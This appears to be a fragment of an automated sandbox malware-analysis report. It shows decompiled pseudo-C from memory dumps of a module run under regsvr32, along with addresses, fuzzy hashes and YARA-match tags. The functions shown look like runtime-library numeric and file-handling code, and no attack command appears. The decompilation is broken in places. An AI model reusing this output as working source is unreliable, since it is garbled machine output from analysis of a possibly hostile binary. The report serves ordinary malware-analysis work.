																	goto L58;
																}
																__eflags = r9d - _t183;
																if(r9d >= _t183) {
																	goto L53;
																}
																goto L52;
																L58:
																__eflags = r8d;
																if(r8d != 0) {
																	 *_t251 =  *_t251 + 1;
																	__eflags =  *_t251;
																}
																_t177 = _t177 - 1;
																_t268 =  &(_t268[1]);
																_t265 = _t265 - 2;
																__eflags = _t177;
															} while (_t177 > 0);
															L61:
															r12d = r12d - 1;
															_t251 =  &(_t251[0]);
															r13d = r13d + 1;
															__eflags = r12d;
														} while (r12d > 0);
														_t199 = _t198 + 0xc002;
														__eflags = _t199;
														if(__eflags <= 0) {
															r8d = _a88;
															_t194 = _a84;
															r9d = _a80;
															L76:
															_t199 = _t199 + 0xffff;
															__eflags = _t199;
															if(_t199 >= 0) {
																L68:
																_t150 = _a80 & 0x0000ffff;
																L69:
																__eflags = _t150 - 0x8000;
																if(_t150 > 0x8000) {
																	L71:
																	_t151 = _a82;
																	__eflags = _t151 - 0xffffffff;
																	if(_t151 != 0xffffffff) {
																		_t152 = _t151 + 1;
																		__eflags = _t152;
																		_a82 = _t152;
																		_t194 = _a84;
																	} else {
																		_t156 = _a86;
																		_a82 = 0;
																		__eflags = _t156 - 0xffffffff;
																		if(_t156 != 0xffffffff) {
																			_a86 = _t156 + 1;
																			r8d = _a88;
																			_t194 = _a84;
																		} else {
																			_t158 = _a90 & 0x0000ffff;
																			_a86 = 0;
																			__eflags = _t158 - 0xffff;
																			if(_t158 != 0xffff) {
																				_t194 = _a84;
																				_a90 = _t158 + 1;
																				r8d = _a88;
																			} else {
																				_t194 = _a84;
																				_a90 = 0x8000;
																				r8d = _a88;
																				_t199 = _t199 + 1;
																			}
																		}
																	}
																	L86:
																	__eflags = _t199 - 0x7fff;
																	if(_t199 < 0x7fff) {
																		_a98 = _t194;
																		_t250 = _a64;
																		_a102 = r8d;
																		r8d = _a48;
																		_a96 = _a82 & 0x0000ffff;
																		_a106 = _t199 | _a56;
																		r9d = 0xffff8000;
																	} else {
																		__eflags = _a56;
																		_t250 = _a64;
																		r8d = _a48;
																		r9d = 0xffff8000;
																		_a100 = 0;
																		_t155 =  !=  ? r9d : 0x7fff8000;
																		_a96 = 0;
																		_a104 =  !=  ? r9d : 0x7fff8000;
																	}
																	goto L90;
																}
																r9d = r9d & 0x0001ffff;
																__eflags = r9d - 0x18000;
																if(r9d != 0x18000) {
																	goto L86;
																}
																goto L71;
															}
															r10d =  ~(_t199 & 0x0000ffff) & 0x0000ffff;
															_t199 = _t199 + r10w;
															__eflags = _t199;
															do {
																__eflags = _a80 & 0x00000001;
																if((_a80 & 0x00000001) != 0) {
																	r15d = r15d + 1;
																	__eflags = r15d;
																}
																r9d = r9d >> 1;
																r9d = r9d | _t194 << 0x0000001f;
																r8d = r8d >> 1;
																_t194 = _t194 >> 0x00000001 | r8d << 0x0000001f;
																_t265 = _t265 - 1;
																__eflags = _t265;
																_a80 = r9d;
															} while (_t265 != 0);
															__eflags = r15d;
															_a84 = _t194;
															_a88 = r8d;
															if(r15d == 0) {
																goto L68;
															}
															_t150 = r9w | 0x00000001;
															_a80 = _t150;
															r9d = _a80;
															goto L69;
														}
														r8d = _a88;
														_t194 = _a84;
														r9d = _a80;
														while(1) {
															asm("inc ecx");
															if(__eflags < 0) {
																break;
															}
															r8d = r8d + r8d;
															_t187 = _t194 >> 0x1f;
															r9d = r9d + r9d;
															_t194 = _t194 + _t194 | r9d >> 0x0000001f;
															r8d = r8d | _t187;
															_t199 = _t199 + 0xffff;
															_a84 = _t194;
															_a88 = r8d;
															__eflags = _t199;
															_a80 = r9d;
															if(__eflags > 0) {
																continue;
															}
															goto L76;
														}
														__eflags = _t199;
														if(_t199 <= 0) {
															goto L76;
														}
														goto L68;
													}
													_t198 = _t198 + 1;
													asm("btr eax, 0x1f");
													__eflags = _t273[2];
													if(_t273[2] != 0) {
														goto L46;
													}
													__eflags = _t273[1];
													if(_t273[1] != 0) {
														goto L46;
													}
													__eflags =  *_t273;
													if( *_t273 != 0) {
														goto L46;
													}
													_t250 = _a64;
													_a104 = 0;
													_a100 = 0;
													_a96 = 0;
													goto L90;
												}
												_t198 = _t198 + 1;
												asm("btr eax, 0x1f");
												__eflags = _a104;
												if(_a104 != 0) {
													goto L41;
												}
												__eflags = _a100;
												if(_a100 != 0) {
													goto L41;
												}
												__eflags = _a96;
												if(_a96 != 0) {
													goto L41;
												}
												_t250 = _a64;
												_a106 = 0;
												goto L90;
											}
											_t250 = _a64;
											_a104 = 0;
											_a100 = 0;
											_a96 = 0;
										}
										L90:
									} while (r8d != 0);
									_t197 = 0;
								}
								goto L93;
							}
						}
						do {
							_t267 = _t267 - 1;
							r10d = r10d + 0xffffffff;
							_t176 = _t176 + 1;
						} while ( *_t267 == 0);
						goto L14;
					}
					_t174 = _a151 & 0x000000ff;
					if(_t174 >= 5) {
						_a151 = _t174 + 1;
					}
					_t266 = _t266 - 1;
					r10d = 0x18;
					_t176 = _t176 + 1;
					goto L11;
				}
			}

0x1004b85c
0x1004b85c
0x1004b85c
0x1004b85c
0x1004b85c
0x1004b85c
0x1004b85c
0x1004b863
0x1004b414
0x1004b41c
0x1004b42c
0x1004b433
0x1004b436
0x1004b436
0x1004b41c
0x1004b86d
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x00000000
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004beda
0x1004beda
0x1004b968
0x1004b968
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba27
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88f
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da815eae41f5f275149b436dd49c2bdd3b9918f931ad367355f316c803c26a7
Instruction ID: 5405c1e8f6206791991427a6ad7e19c4e1b3bee730124aa190fb116abbf0ad24
Opcode Fuzzy Hash: 5da815eae41f5f275149b436dd49c2bdd3b9918f931ad367355f316c803c26a7
Instruction Fuzzy Hash: B451B377628BD5C6C761CF2AE04079AB7A1F791780FA05126EB8983B58DB79D841CF08

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025938 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7090588d321c70cff3a5cf123045afce7e949e4c5a4b90e384f7610a44a6742b
Instruction ID: 367cc2761b9444770831e18d4d20e36ff02f00a8443ff22c6692e0ca682620f8
Opcode Fuzzy Hash: 7090588d321c70cff3a5cf123045afce7e949e4c5a4b90e384f7610a44a6742b
Instruction Fuzzy Hash: 46611B7020428C9FEBBACF18C8997DD7BA0FB48344F508619E94E8E290DF749748DB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DC00 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15b3a20788c7d2c81923894af4c985b43be2c2971742d18166b2a3fa3c37041a
Instruction ID: 1aa2585a7399d748f01fea57772d7056376780205576b7d7144ca1f087996700
Opcode Fuzzy Hash: 15b3a20788c7d2c81923894af4c985b43be2c2971742d18166b2a3fa3c37041a
Instruction Fuzzy Hash: 0D61F57090030E8BDF48DF64C48A5EE7FF0FB58398F255219E816A6250D7B89699CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001FDF4 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 527e379c1f935696bd7d31e5baa684b87ddff0df1becc291ea3408d2cd6e6076
Instruction ID: 875880d9742a56a412662f4f9fbe1f1e7078215a5b8085ffb16ddebef047f157
Opcode Fuzzy Hash: 527e379c1f935696bd7d31e5baa684b87ddff0df1becc291ea3408d2cd6e6076
Instruction Fuzzy Hash: FF51B8B190078E8FDF48CF68D88A5DE7BB0FB58358F104A19FC65A6290D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 100547A0 Relevance: .1, Instructions: 105
COMMONCrypto

Download Yara Rule

C-Code - Quality: 69%

			E100547A0(long long __rax, long long __rbx, long long __rcx, long long __rdx, long long __rdi, long long __rsi, void* __rbp, void* __r8, signed long long __r9, long long __r12, long long __r13, long long _a8, signed long long _a32) {
				long long _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v56;
				signed int _t38;
				signed int _t40;
				void* _t49;
				signed long long _t74;
				signed long long _t78;
				long long _t82;

				_t79 = __r12;
				_t78 = __r9;
				_t77 = __r8;
				_t76 = __rbp;
				_t70 = __rdi;
				_t69 = __rdx;
				_t64 = __rcx;
				_t60 = __rax;
				_a8 = __rcx;
				_v8 = __rbx;
				_v16 = __rsi;
				_v24 = __rdi;
				_v32 = __r12;
				_v40 = __r13;
				_t73 = __r9;
				_t82 = __rdx;
				_t62 = __rcx;
				r12d = 0;
				if((r12d & 0xffffff00 | __rcx != 0x00000000) != 0) {
					if(r8d == 4 || r8d == 0 || r8d == 0x40) {
						if(r8d == 0 || r8d == 0x40) {
							_t60 = _t78 - 2;
							if(_t60 <= 0x7ffffffd) {
								goto L10;
							} else {
								E10032420(_t60);
								 *_t60 = 0x16;
								_v56 = _t79;
								r9d = 0;
								r8d = 0;
								E10034370(_t62, _t64, _t69, _t70, _t73, _t76, _t77);
								_t40 = 0xffffffff;
							}
						} else {
							L10:
							_t74 = _t73 & 0xfffffffe;
							E1003C4F0();
							E1003CDD0(_t62, _t62, _t70, _t74);
							E1003CD90(_t60, _t62);
							 *(_t62 + 0x18) =  *(_t62 + 0x18) & 0xffffc2f3;
							_t38 =  *(_t62 + 0x18);
							if((dil & 0x00000004) == 0) {
								if(_t82 != 0) {
									 *(_t62 + 0x18) = _t38 | 0x00000500;
									goto L17;
								} else {
									E10038810(_t49, _t60, _t62, _t74, _t70, _t74, _t76);
									_t82 = _t60;
									if(_t60 != 0) {
										 *(_t62 + 0x18) =  *(_t62 + 0x18) | 0x00000408;
										goto L17;
									} else {
										 *0x100b8050 =  *0x100b8050 + 1;
										_t22 = _t60 - 1; // -1
										r12d = _t22;
									}
								}
							} else {
								 *(_t62 + 0x18) = _t38 | 0x00000004;
								_t82 = _t62 + 0x20;
								_a32 = _t74;
								L17:
								 *((intOrPtr*)(_t62 + 0x24)) = 2;
								 *((long long*)(_t62 + 0x10)) = _t82;
								 *_t62 = _t82;
								 *(_t62 + 8) = r12d;
							}
							E1003C560();
							_t40 = r12d;
						}
					} else {
						E10032420(__rax);
						 *((intOrPtr*)(__rax)) = 0x16;
						_v56 = __r12;
						r9d = 0;
						r8d = 0;
						E10034370(__rcx, __rcx, __rdx, __rdi, __r9, __rbp, __r8);
						_t40 = 0xffffffff;
					}
				} else {
					E10032420(__rax);
					 *((intOrPtr*)(__rax)) = 0x16;
					_v56 = __r12;
					r9d = 0;
					r8d = 0;
					E10034370(__rcx, __rcx, __rdx, __rdi, __r9, __rbp, __r8);
					_t10 = _t79 - 1; // -1
					_t40 = _t10;
				}
				return _t40;
			}

0x100547a0
0x100547a0
0x100547a0
0x100547a0
0x100547a0
0x100547a0
0x100547a0
0x100547a0
0x100547a0
0x100547a9
0x100547ae
0x100547b3
0x100547b8
0x100547bd
0x100547c2
0x100547c8
0x100547cb
0x100547ce
0x100547dc
0x1005480b
0x10054844
0x1005484c
0x10054856
0x00000000
0x10054858
0x10054858
0x1005485d
0x10054863
0x10054868
0x1005486b
0x10054872
0x10054877
0x10054877
0x10054881
0x10054881
0x10054881
0x10054885
0x1005488e
0x10054896
0x1005489b
0x100548a2
0x100548a9
0x100548c4
0x100548f1
0x00000000
0x100548c6
0x100548c9
0x100548ce
0x100548d4
0x100548e3
0x00000000
0x100548d6
0x100548d6
0x100548dd
0x100548dd
0x100548dd
0x100548d4
0x100548ab
0x100548ae
0x100548b1
0x100548ba
0x100548f4
0x100548f4
0x100548f7
0x100548fb
0x100548fe
0x100548fe
0x10054905
0x1005490a
0x1005490a
0x10054818
0x10054818
0x1005481d
0x10054823
0x10054828
0x1005482b
0x10054832
0x10054837
0x10054837
0x100547de
0x100547de
0x100547e3
0x100547e9
0x100547ee
0x100547f1
0x100547f8
0x100547fd
0x100547fd
0x100547fd
0x1005492a

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62188541e3f2a5db5d3a69b9d9857f457e41a34a6cebe8d13a11008100e0596b
Instruction ID: d9c421698182d38aee7927a6c06d6610faf6a06ae8fc26443eea1375bfa894ea
Opcode Fuzzy Hash: 62188541e3f2a5db5d3a69b9d9857f457e41a34a6cebe8d13a11008100e0596b
Instruction Fuzzy Hash: FD31137AB1479086D725CF21A402B5F77A4F781B9CF510225EF964BB98CF38D814CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029198 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f895915762c9c9d1c49183a0f7713c75a136e090bf741561e2b600689d150b
Instruction ID: e14e4477c79f90377d3d75e945bce9c961d738052af3340e22ba40af58197c4d
Opcode Fuzzy Hash: 13f895915762c9c9d1c49183a0f7713c75a136e090bf741561e2b600689d150b
Instruction Fuzzy Hash: B851D4B090034E8FDB48CF68C48A4DE7FB0BB28394F654219EC16A6290D378D6A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023228 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19c52902eaeb13caf19aa7dd7f0ab4aaffd1c0101971dc544f6e0b0f5b971cbb
Instruction ID: a76a57608c2288f0a435d242beb68544302beb34716d1a5c5dd1a90c8a276e54
Opcode Fuzzy Hash: 19c52902eaeb13caf19aa7dd7f0ab4aaffd1c0101971dc544f6e0b0f5b971cbb
Instruction Fuzzy Hash: 3441D2706087458FD768CF18D19562ABBF1FBCA354F404A1DF68A9B360C776D905CB42

Uniqueness

Uniqueness Score: -1.00%

Function 10043CC0 Relevance: .1, Instructions: 102
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E10043CC0(signed int __eax, unsigned int __ecx, long long __rbx, void* __rcx, intOrPtr* __rdx, void* __rdi, long long __rsi, long long __rbp, long long __r8, void* __r9, void* __r12, void* __r13, void* __r14, void* __r15) {
				void* _v8;
				void* _v16;
				void* _v24;
				signed int _v40;
				char _v68;
				char _v70;
				short _v72;
				signed int _v80;
				signed int _v84;
				unsigned int _v88;
				char _v104;
				long long _v120;
				signed int _t32;
				intOrPtr _t35;
				unsigned int _t41;
				signed int _t44;
				unsigned int _t45;
				signed int _t48;
				signed long long _t59;
				intOrPtr* _t66;
				intOrPtr* _t69;
				long long* _t75;
				void* _t77;
				long long _t79;
				void* _t82;
				signed long long _t84;
				long long _t85;
				signed long long _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;

				_t95 = __r15;
				_t94 = __r14;
				_t93 = __r13;
				_t92 = __r12;
				_t85 = __r8;
				_t77 = __rdi;
				_t43 = __ecx;
				_t91 = _t84;
				_t59 =  *0x100b1640; // 0xf93099fb11e7
				_v40 = _t59 ^ _t84;
				 *((long long*)(_t91 - 8)) = __rbx;
				 *((long long*)(_t91 - 0x10)) = __rbp;
				_t82 = __r9;
				 *((long long*)(_t91 - 0x18)) = __rsi;
				_t79 = __r8;
				_t66 = __rdx;
				r8d = r9w & 0xffffffff;
				r9w = r9w & 0x00008000;
				r8w = r8w >> 4;
				_t32 = __eax & 0x000fffff;
				r10d = 0x80000000;
				r8w = r8w & 0x000007ff;
				_t44 = r8w & 0xffffffff;
				if(_t44 != 0) {
					if(_t44 != 0x7ff) {
						r8w = r8w + 0x3c00;
					}
					r8w = 0x7fff;
				}
				if(_t32 != 0 || _t43 != 0) {
					r8w = r8w + 0x3c01;
					r10d = 0;
					_t45 = _t43;
					_t43 = _t43 << 0xb;
					_v88 = _t43;
					_t48 = _t45 >> 0x00000015 | _t32 << 0x0000000b | r10d;
					asm("bt edx, 0x1f");
					_v84 = _t48;
					if(_t48 >= 0) {
						do {
							_t41 = _t43;
							_t43 = _t43 + _t43;
							r8w = r8w + 0xffff;
							_v88 = _t43;
							_t48 = _t48 + _t48 | _t41 >> 0x0000001f;
							asm("bt edx, 0x1f");
						} while (_t48 >= 0);
						_v84 = _t48;
					}
					r9w = r9w | r8w;
					_v80 = r9w;
				} else {
					_v84 = _t43;
					_v88 = _t43;
					_v80 = r9w;
				}
				_t75 =  &_v104;
				_t69 =  &_v88;
				r8d = 0;
				 *_t75 =  *_t69;
				 *((short*)(_t75 + 8)) =  *(_t69 + 8) & 0x0000ffff;
				_t19 = _t85 + 0x11; // 0x11
				_t35 = E1004BFF0(_t19, _t66,  &_v104, _t75, _t77, _t79, _t82, _t85,  &_v72, _t92, _t93, _t94, _t95);
				_t76 = _t82;
				 *((intOrPtr*)(_t66 + 8)) = _t35;
				 *_t66 = _v70;
				 *((intOrPtr*)(_t66 + 4)) = _v72;
				if(E10033690( *_t69, _t66, _t79, _t82, _t77, _t79, _t82,  &_v68) != 0) {
					r9d = 0;
					r8d = 0;
					_t43 = 0;
					_v120 = 0;
					E100342D0(0, _t76,  &_v68);
				}
				 *((long long*)(_t66 + 0x10)) = _t79;
				return E1002FF40(_t43, _v40 ^ _t84);
			}

0x10043cc0
0x10043cc0
0x10043cc0
0x10043cc0
0x10043cc0
0x10043cc0
0x10043cc0
0x10043cc0
0x10043cca
0x10043cd4
0x10043cd9
0x10043cdd
0x10043ce1
0x10043ce7
0x10043ceb
0x10043cf5
0x10043cf8
0x10043d00
0x10043d06
0x10043d0b
0x10043d10
0x10043d16
0x10043d1c
0x10043d22
0x10043d2a
0x10043d2c
0x10043d2c
0x10043d34
0x10043d34
0x10043d3d
0x10043d53
0x10043d59
0x10043d5c
0x10043d61
0x10043d67
0x10043d6d
0x10043d70
0x10043d74
0x10043d78
0x10043d80
0x10043d80
0x10043d84
0x10043d89
0x10043d8f
0x10043d93
0x10043d95
0x10043d95
0x10043d9b
0x10043d9b
0x10043d9f
0x10043da3
0x10043d43
0x10043d43
0x10043d47
0x10043d4b
0x10043d4b
0x10043da9
0x10043dae
0x10043db3
0x10043dbe
0x10043dca
0x10043dce
0x10043dd2
0x10043ddc
0x10043ddf
0x10043dea
0x10043df1
0x10043e03
0x10043e05
0x10043e08
0x10043e0d
0x10043e0f
0x10043e18
0x10043e18
0x10043e1d
0x10043e48

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bf206220203f9cdbe2ba371dc2be56af6793b9d02c487e9b506ed5b67f70f63
Instruction ID: 24c249a9f5589bac96d6d698ccd9fb93994f58c05901440c657b91c6653a2f4b
Opcode Fuzzy Hash: 7bf206220203f9cdbe2ba371dc2be56af6793b9d02c487e9b506ed5b67f70f63
Instruction Fuzzy Hash: EB319176A1869486E758CF25E44076EB7A1F785B84FA4D03AEB888BB18DB3DC4158B04

Uniqueness

Uniqueness Score: -1.00%

Function 10031A60 Relevance: .1, Instructions: 101
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E10031A60(void* __ebx, signed int __ecx, intOrPtr* __rax, long long __rbx, void* __rdx, signed int __rdi, long long __rsi, long long __r12, signed int _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				intOrPtr _v24;
				signed long long _v40;
				void* _t30;
				intOrPtr _t34;
				intOrPtr _t38;
				intOrPtr _t39;
				void* _t46;
				signed int _t62;
				signed int _t64;
				intOrPtr _t66;
				intOrPtr _t69;
				intOrPtr* _t72;
				intOrPtr* _t73;
				void* _t77;
				signed long long _t81;
				signed long long _t85;
				void* _t86;
				void* _t87;
				void* _t91;

				_t82 = __rsi;
				_t79 = __rdi;
				_t78 = __rdx;
				_t71 = __rax;
				_t46 = __ebx;
				_a8 = __ecx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_v8 = __r12;
				_t75 = __ecx;
				if(__ebx != 0xfffffffe) {
					__eflags = __ecx;
					if(__ecx < 0) {
						L13:
						E10032450(_t71);
						 *_t71 = 0;
						E10032420(_t71);
						 *_t71 = 9;
						_v40 = _t79;
						r9d = 0;
						r8d = 0;
						__eflags = 0;
						E10034370(_t75, _t77, _t78, _t79, _t82, _t86, _t87);
						_t25 = _t79 - 1; // -1
						_t34 = _t25;
						goto L14;
					}
					__eflags = _t46 -  *0x100b8b10; // 0x20
					if(__eflags >= 0) {
						goto L13;
					} else {
						_t85 = __ecx >> 5;
						dil = __ebx;
						_t64 = _t62 & 0x0000001f;
						_t81 = __rdi << 6;
